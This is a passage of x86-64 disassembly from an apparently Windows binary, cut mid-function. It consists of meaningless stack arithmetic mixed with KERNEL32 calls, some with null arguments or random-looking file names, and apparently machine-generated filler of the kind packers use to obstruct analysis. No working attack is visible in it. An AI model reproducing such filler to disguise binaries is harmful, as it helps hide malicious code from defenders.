and eax, ecx
mov word [rsp + 0x1cb8], ax
movzx eax, word [rsp + 0x1d60]
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xaa20]
mov rcx, qword [rsp + 0xacd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa7d0], rax
mov eax, dword [rsp + 0x39dc]
mov ecx, dword [rsp + 0x47e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5a8]
mov qword [rsp + 0xb0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9218], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xa868]
movsx eax, byte [rax]
movsx ecx, byte [0x140229f1e]
or eax, ecx
mov byte [rsp + 0xeb], al
lea rax, [rsp + 0x1cb8]
mov qword [rsp + 0xb0d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.VcB7pbpX_nDiP1hi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0xb090]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x80c]
xor eax, ecx
mov rcx, qword [0x14022ba00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d50]
shl rax, cl
mov qword [rsp + 0x7820], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
mov word [rsp + 0x1e80], ax
mov rax, qword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x4234]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f80]
mov dword [rcx], eax
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x344], al
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xb0e8], rax
movsx eax, byte [rsp + 0x391]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d18]
mov qword [rsp + 0xb0f0], rax
movsx eax, word [rsp + 0x1c9c]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0xb0b8]
movzx eax, word [rax]
mov word [0x14022bba8], ax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa590]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
lea rax, [rsp + 0xa448]
mov qword [rsp + 0xb0f8], rax
movsx eax, word [rsp + 0xf30]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [rsp + 0x1c84], ax
lea rax, [rsp + 0x1968]
mov qword [rsp + 0xb100], rax
movsx eax, byte [rsp + 0x34e]
mov rcx, qword [rsp + 0xa308]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x342], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov r9d, 2
xor r8d, r8d
mov edx, 0xba30
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4724], eax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xa538]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f78], rax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xb108], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0xa068]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov rcx, qword [0x14022b938]
mov word [rcx], ax
lea rax, [0x14022bb88]
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0x3ea8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9bb0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0xa1b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2bb], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.iusEL2XJB26oKQQYCmuo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb118], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [0x14022bb80]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa9e8], rax
mov rax, qword [rsp + 0xa818]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa2f0]
mov qword [rsp + 0xb120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb120]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4374], eax
lea rcx, [rsp + 0xa7c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x47f8]
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49a8], eax
lea rax, [rsp + 0xd1]
mov qword [rsp + 0xb128], rax
mov r9d, 0x21e4
xor r8d, r8d
lea rdx, [rsp + 0x9830]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4880], eax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0x75e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaef8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x698d
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49ac], eax
lea rdx, [rsp + 0x4870]
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46ec], eax
lea rax, [rsp + 0x1d84]
mov qword [rsp + 0xb130], rax
lea rax, [rsp + 0x1d60]
mov qword [0x14022bbb0], rax
mov rax, qword [rsp + 0xa548]
mov rcx, qword [rsp + 0x9a80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7898], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5def
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49b0], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x1660]
sub eax, ecx
mov word [rsp + 0x1d10], ax
mov rax, qword [rsp + 0xa878]
movzx eax, word [rax]
mov word [rsp + 0x1e84], ax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022bb90]
sar rax, cl
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0xab98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xaad0]
mov ecx, dword [0x140229f2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47d0], eax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0x7eb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa788]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1384]
mov word [rsp + 0x1e88], ax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9a0]
sub rcx, rax
mov rax, rcx
mov qword [0x14022a020], rax
movzx eax, byte [rsp + 0x383]
movzx ecx, byte [rsp + 0xef]
and eax, ecx
mov rcx, qword [rsp + 0xac50]
mov byte [rcx], al
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
mov dword [rsp + 0x49b4], eax
movsx eax, word [rsp + 0x1dc8]
movsx ecx, word [rsp + 0x1dc4]
shl eax, cl
mov word [rsp + 0x1e48], ax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa588]
mov word [rcx], ax
mov rax, qword [rsp + 0xad38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bc0], eax
mov rax, qword [rsp + 0xaf88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ef8]
shr rax, cl
mov qword [rsp + 0xa098], rax
lea rax, [rsp + 0x38a]
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d5c]
sub eax, ecx
mov rcx, qword [rsp + 0xa510]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022bb78]
mov word [rcx], ax
mov rax, qword [rsp + 0x7008]
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0x8330]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa860]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [rsp + 0xaf90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc24]
sar eax, cl
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0xac80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xad78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x475c], eax
mov rax, qword [rsp + 0xaa08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36c]
shl eax, cl
mov byte [rsp + 0x310], al
mov eax, dword [rsp + 0x45d8]
mov ecx, dword [rsp + 0x39bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e70], eax
mov r9d, 0xb92
xor r8d, r8d
lea rdx, [rsp + 0xacc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47a0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.0Y04jZ56zxeFl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb148], rax
movzx eax, word [0x14022b87c]
mov word [0x14022bbb8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xb090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae38]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a90]
mov word [rsp + 0x1e8c], ax
mov rax, qword [rsp + 0x9828]
movzx ecx, al
mov rax, qword [rsp + 0xa570]
sar rax, cl
mov rcx, qword [rsp + 0xacd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3a24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4934], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe2a6
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4998], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x367]
mov qword [rsp + 0xb150], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9430], rax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x47a8]
mov rcx, qword [rsp + 0xb0e0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4808], eax
movzx eax, word [rsp + 0x1c34]
mov word [rsp + 0x1e90], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb158], rax
mov rax, qword [rsp + 0xabb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa660]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022ba78]
mov qword [rcx], rax
lea rax, [rsp + 0x80c]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0xad50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xabe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a20]
sar rax, cl
mov qword [rsp + 0x7e78], rax
mov rax, qword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x78f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x88c0], rax
mov rax, qword [rsp + 0xa9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0x282], al
mov eax, dword [rsp + 0x3dc8]
mov dword [rsp + 0x49b8], eax
movzx eax, byte [rsp + 0x360]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x347], al
mov eax, dword [rsp + 0x4934]
mov ecx, dword [rsp + 0x4270]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4864], eax
movzx eax, word [rsp + 0x1dc8]
mov word [0x14022bbbc], ax
lea rax, [rsp + 0x15dc]
mov qword [rsp + 0xb168], rax
movzx eax, word [rsp + 0x1ca8]
movzx ecx, word [rsp + 0x1de0]
shl eax, cl
mov word [rsp + 0x1bb4], ax
lea rax, [0x14022bac0]
mov qword [rsp + 0xb170], rax
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x370]
add eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov byte [rcx], al
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xac38]
mov rcx, qword [rsp + 0xa9e0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xaf88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa098]
shr rax, cl
mov qword [rsp + 0x9468], rax
movsx eax, word [rsp + 0x1e0c]
mov rcx, qword [rsp + 0xb018]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ed0]
and rcx, rax
mov rax, rcx
mov qword [0x140229fb8], rax
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xada0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa280], rax
mov rax, qword [0x14022baf8]
mov rcx, qword [rsp + 0xa720]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0xa6c8]
mov qword [rsp + 0xb178], rax
movzx eax, word [rsp + 0x1a7c]
movzx ecx, word [rsp + 0x1bc4]
add eax, ecx
mov word [rsp + 0x1d50], ax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa1b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x320], al
mov rax, qword [rsp + 0x9f80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
sar eax, cl
mov dword [rsp + 0x48e4], eax
lea rax, [0x14022b810]
mov qword [rsp + 0xb180], rax
lea rdx, [rsp + 0x493c]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4854], eax
mov eax, dword [rsp + 0x3e04]
mov ecx, dword [rsp + 0x47e0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
lea rax, [rsp + 0xaf18]
mov qword [0x14022bbc0], rax
mov rax, qword [rsp + 0xaf58]
movsx eax, word [rax]
mov rcx, qword [0x14022b8f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xaf98]
movzx eax, word [rax]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d0]
shl eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [0x14022ba78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7918], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
sub eax, ecx
mov byte [rsp + 0x367], al
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0xa648]
mov qword [rsp + 0xb190], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb190]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x49bc], eax
mov rax, qword [rsp + 0xadd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1db0]
add eax, ecx
mov word [rsp + 0x1d34], ax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [0x14022b898]
sub eax, ecx
mov rcx, qword [0x14022bb08]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9e8]
mov qword [rsp + 0xb198], rax
movzx eax, word [rsp + 0x1e40]
movzx ecx, word [rsp + 0x1d90]
and eax, ecx
mov rcx, qword [rsp + 0xa330]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x32ef
mov rcx, qword [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4904], eax
mov r9d, 0x2c9
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x493c], eax
mov rax, qword [rsp + 0xaa08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37d]
and eax, ecx
mov byte [rsp + 0x99], al
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x39f0]
mov ecx, dword [rsp + 0x4494]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a8c], eax
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9150]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9568], rax
mov rax, qword [0x14022b890]
mov eax, dword [rax]
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa920]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
xor eax, ecx
mov word [rsp + 0x16dc], ax
mov rax, qword [0x14022b9b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc4]
shl eax, cl
mov word [0x14022a028], ax
lea rdx, [rsp + 0x49c4]
mov rcx, qword [rsp + 0xac10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
lea rax, [rsp + 0x7350]
mov qword [rsp + 0xb1a8], rax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1e6c]
movsx ecx, word [rsp + 0x1d20]
add eax, ecx
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x177c]
sub eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov word [rcx], ax
lea rax, [0x14022b811]
mov qword [rsp + 0xb1b0], rax
mov eax, dword [rsp + 0x3e6c]
mov ecx, dword [rsp + 0x49c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa838]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaa0]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0xb1b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1b8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
mov qword [rsp + 0xb1c0], rax
movzx eax, word [rsp + 0x1dd0]
mov word [0x14022bbc8], ax
mov rax, qword [rsp + 0xb090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1dac], ax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
mov dword [rsp + 0x49c8], eax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0xb070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xafe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf60]
mov rcx, qword [rsp + 0xb108]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x413c], eax
mov rax, qword [rsp + 0xa898]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rax, [rsp + 0x274]
mov qword [rsp + 0xb1c8], rax
mov rax, qword [0x14022b8a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d6c], ax
movzx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140229f40], ax
mov rax, qword [0x14022ba78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabb8]
mov qword [rsp + 0xb1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ca8], rax
mov r9d, 0xc68
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0xb0b8]
movzx eax, word [rax]
mov word [rsp + 0x1e9c], ax
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49cc], eax
movsx eax, word [rsp + 0x1dc4]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
mov rax, qword [0x14022bad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaea0]
mov qword [rsp + 0xb1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x90c8], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa378], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x34e]
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xaef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x458c], eax
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1e7c]
sub eax, ecx
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7918]
sar rax, cl
mov qword [0x14022a030], rax
mov eax, dword [rsp + 0x3e70]
mov dword [rsp + 0x49d0], eax
movzx eax, byte [rsp + 0x376]
movzx ecx, byte [rsp + 0x2f0]
and eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
mov rcx, qword [0x14022b960]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf58], ax
mov r9d, 0x1e2f
xor r8d, r8d
lea rdx, [rsp + 0xa2e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb090]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e9c], ax
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9150]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa788]
mov qword [rcx], rax
mov rax, qword [0x14022b950]
mov eax, dword [rax]
mov dword [rsp + 0x49d4], eax
movsx eax, byte [rsp + 0x388]
mov rcx, qword [rsp + 0xb150]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa980]
movzx eax, word [rax]
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
shl eax, cl
mov word [0x14022b990], ax
mov rax, qword [rsp + 0xa6b0]
movzx ecx, al
mov rax, qword [rsp + 0x8db8]
sar rax, cl
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0xb080]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa6b0], rax
mov rax, qword [rsp + 0xa860]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c20], rax
movsx eax, word [rsp + 0x1e10]
movsx ecx, word [rsp + 0x1d0c]
and eax, ecx
mov word [rsp + 0x1e98], ax
lea rax, [0x140229f2c]
mov qword [rsp + 0xb1e8], rax
mov rax, qword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x8f30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ef8], rax
movsx eax, byte [rsp + 0x359]
movsx ecx, byte [rsp + 0xd1]
add eax, ecx
mov byte [rsp + 0x5c], al
